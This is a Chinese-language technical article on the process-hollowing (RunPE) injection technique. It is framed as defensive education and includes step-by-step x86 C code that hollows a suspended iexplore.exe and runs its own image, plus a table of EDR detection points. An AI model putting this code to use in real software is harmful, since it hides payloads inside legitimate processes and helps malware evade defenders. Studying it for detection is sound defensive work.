本文僅為**安全研究與防禦教育目的**分析進程注入(Process Hollowing/RunPE)技術原理,**嚴禁用於惡意軟體開發或非授權滲透測試**。理解攻擊手法,才能構建有效防禦。
核心思路:啟動合法進程(如 iexplore.exe)掛起 → 卸載其原始映像 → 分配記憶體寫入惡意代碼 → 修改入口點 → 恢復執行。外表是正常系統進程,實際執行任意載荷。
GetSystemDirectory + 拼接 \\Program Files\\Internet Explorer\\iexplore.exe。CreateProcess(..., CREATE_SUSPENDED, ...) 獲取 PROCESS_INFORMATION 與主執行緒 CONTEXT。CONTEXT.Ebx 指向 PEB,PEB+0x8 (ImageBaseAddress) 為原始映像基址。ZwUnmapViewOfSection(hProcess, originalBase) (ntdll.dll)。VirtualAllocEx(hProcess, preferredBase, size, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)。嘗試分配在原基址(免重定位),失敗則任意基址。WriteProcessMemory 將自身映像(含 headers、sections)寫入目標進程。ImageBaseAddress 為新基址;修改執行緒 CONTEXT.Eax (x86 入口點) 為 NewBase + AddressOfEntryPoint。SetThreadContext + ResumeThread。// 1. 建立掛起進程
CreateProcess(NULL, targetPath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// 2. 獲取上下文與 PEB
CONTEXT ctx = {CONTEXT_FULL};
GetThreadContext(pi.hThread, &ctx);
DWORD* peb = (DWORD*)ctx.Ebx;
DWORD originalBase;
ReadProcessMemory(pi.hProcess, &peb[2], &originalBase, 4, NULL); // PEB+8
// 3. 卸載原映像
ZwUnmapViewOfSection(pi.hProcess, (LPVOID)originalBase);
// 4. 分配並寫入新映像
LPVOID newBase = VirtualAllocEx(pi.hProcess, (LPVOID)hModule, imgSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, newBase, hModule, imgSize, &written);
// 5. 修復入口點
WriteProcessMemory(pi.hProcess, &peb[2], &newBase, 4, &written); // 更新 PEB 基址
ctx.Eax = (DWORD)newBase + peHeader->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
Ldr.InLoadOrderModuleList 遍歷獲取,實際可直接用 GetModuleInformation 或解析自身 PE Header SizeOfImage。CONTEXT.Rcx (Windows) 或 RIP,PEB 結構偏移不同,ZwUnmapViewOfSection 同樣適用。| 檢測點 | 手段 |
|---|---|
| 異常進程創建 | EDR 監控 CREATE_SUSPENDED + 非父進程啟動關鍵系統程式 |
| 記憶體操作異常 | 監控 VirtualAllocEx(PAGE_EXECUTE_READWRITE) + WriteProcessMemory 組合 |
| 映像卸載 | 監控 ZwUnmapViewOfSection 針對非調試器進程 |
| PEB 竄改 | 檢測 ImageBaseAddress 變更、入口點指向非映像區域 |
| 簽名/信譽 | 簽名驗證、數位簽名策略 (AppLocker/WDAC) 阻止未簽名代碼注入 |